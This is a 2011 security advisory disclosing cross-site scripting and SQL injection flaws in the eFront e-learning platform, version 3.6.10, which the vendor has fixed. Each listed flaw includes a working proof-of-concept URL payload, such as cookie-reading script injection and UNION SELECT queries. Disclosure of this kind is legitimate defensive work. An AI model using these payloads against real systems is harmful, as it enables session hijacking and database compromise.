Multiple vulnerabilities in Efront
| Advisory ID: | HTB23053 |
| Product: | Efront |
| Vendor: | EPIGNOSIS Ltd |
| Vulnerable Versions: | 3.6.10 build 11944 and probably prior |
| Tested Version: | 3.6.10 build 11944 |
| Advisory Publication: | October 12, 2011 [without technical details] |
| Vendor Notification: | October 12, 2011 |
| Public Disclosure: | November 2, 2011 |
| Latest Update: | October 26, 2011 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89] |
| Risk Level: | High |
|  |
| CVSSv2 Base Scores: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Efront, which can be exploited to perform SQL injection and cross-site scripting attacks.
1) Cross-Site scripting (XSS) vulnerabilities in Efront
1.1 Input passed via the "course" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?ctg=lesson_info&lessons_ID=1&course=%27%20onmouseove r%3dalert%28document.cookie%29%3E
1.2 Input appended to the URL after index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC is available:
http://[host]/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E
Successful exploitation of this vulnerability requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
1.3 Input passed via the "message_type" GET parameter to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?message=1&message_type=%22%20onmouseover=alert%28doc ument.cookie%29%3E
1.4 Input passed via the "ctg" GET parameter to professor.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/professor.php?ctg=%22%20onmouseover=%22alert%28document.cookie %29
1.5 Input passed via the "ctg" GET parameter to student.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/student.php?ctg=%22%20onmouseover=%22alert%28document.cookie%2 9
1.6 Input passed via the "ctg" GET parameter to administrator.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/administrator.php?ctg=%22%20onmouseover=%22alert%28document.co okie%29
2) SQL Injection in Efront
2.1 Input passed via the "done_test_id" GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?done_test_id=1%20union%20select%201,2,%28select% 20version%28%29%29,4,5,6,7,8,9,10,11,12%20--%20
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
2.2Input passed via the "user" GET parameter to view_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/view_test.php?test_id=1&user=%27SQL_CODE_HERE
http://[host]/view_test.php?content_id=2&user=%27SQL_CODE_HERE
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
2.3 Input passed via the "loglessonid" GET parameter to /modules/module_chat/admin.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/modules/module_chat/admin.php?force=getLessonFromId&loglessoni d=-1%27%20union%20select%20version%28%29%20--%202
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
2.4 Input passed via the "user2" GET parameter to ask_information.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/ask_information.php?common_lessons=1&user1=professor&user2=%27 %20union%20select%201,version%28%29%20--%20
Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free
Solution: |
| Upgrade to the most recent version |
| |
References: |
[1] High-Tech Bridge Advisory HTB23053 - https://www.immuniweb.com/advisory/HTB23053 - Multiple vulnerabilities in Efront
[2] eFront - efrontlearning.net - eFront is an open source eLearning platform.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
